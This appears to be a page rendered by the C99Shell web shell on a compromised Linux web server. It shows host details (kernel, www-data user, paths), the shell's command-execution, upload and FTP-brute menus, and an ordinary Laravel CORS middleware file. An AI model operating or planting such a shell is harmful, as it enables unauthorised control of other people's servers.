!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/http/Middleware/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HandleCors.php (2.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Http\Middleware;

use 
Closure;
use 
Fruitcake\Cors\CorsService;
use 
Illuminate\Contracts\Container\Container;
use 
Illuminate\Http\Request;

class 
HandleCors
{
    
/**
     * The container instance.
     *
     * @var \Illuminate\Contracts\Container\Container
     */
    
protected $container;

    
/**
     * The CORS service instance.
     *
     * @var \Fruitcake\Cors\CorsService
     */
    
protected $cors;

    
/**
     * Create a new middleware instance.
     *
     * @param  \Illuminate\Contracts\Container\Container  $container
     * @param  \Fruitcake\Cors\CorsService  $cors
     * @return void
     */
    
public function __construct(Container $containerCorsService $cors)
    {
        
$this->container $container;
        
$this->cors $cors;
    }

    
/**
     * Handle the incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return \Illuminate\Http\Response
     */
    
public function handle($requestClosure $next)
    {
        if (! 
$this->hasMatchingPath($request)) {
            return 
$next($request);
        }

        
$this->cors->setOptions($this->container['config']->get('cors', []));

        if (
$this->cors->isPreflightRequest($request)) {
            
$response $this->cors->handlePreflightRequest($request);

            
$this->cors->varyHeader($response'Access-Control-Request-Method');

            return 
$response;
        }

        
$response $next($request);

        if (
$request->getMethod() === 'OPTIONS') {
            
$this->cors->varyHeader($response'Access-Control-Request-Method');
        }

        return 
$this->cors->addActualRequestHeaders($response$request);
    }

    
/**
     * Get the path from the configuration to determine if the CORS service should run.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return bool
     */
    
protected function hasMatchingPath(Request $request): bool
    
{
        
$paths $this->getPathsByHost($request->getHost());

        foreach (
$paths as $path) {
            if (
$path !== '/') {
                
$path trim($path'/');
            }

            if (
$request->fullUrlIs($path) || $request->is($path)) {
                return 
true;
            }
        }

        return 
false;
    }

    
/**
     * Get the CORS paths for the given host.
     *
     * @param  string  $host
     * @return array
     */
    
protected function getPathsByHost(string $host)
    {
        
$paths $this->container['config']->get('cors.paths', []);

        if (isset(
$paths[$host])) {
            return 
$paths[$host];
        }

        return 
array_filter($paths, function ($path) {
            return 
is_string($path);
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.016 ]--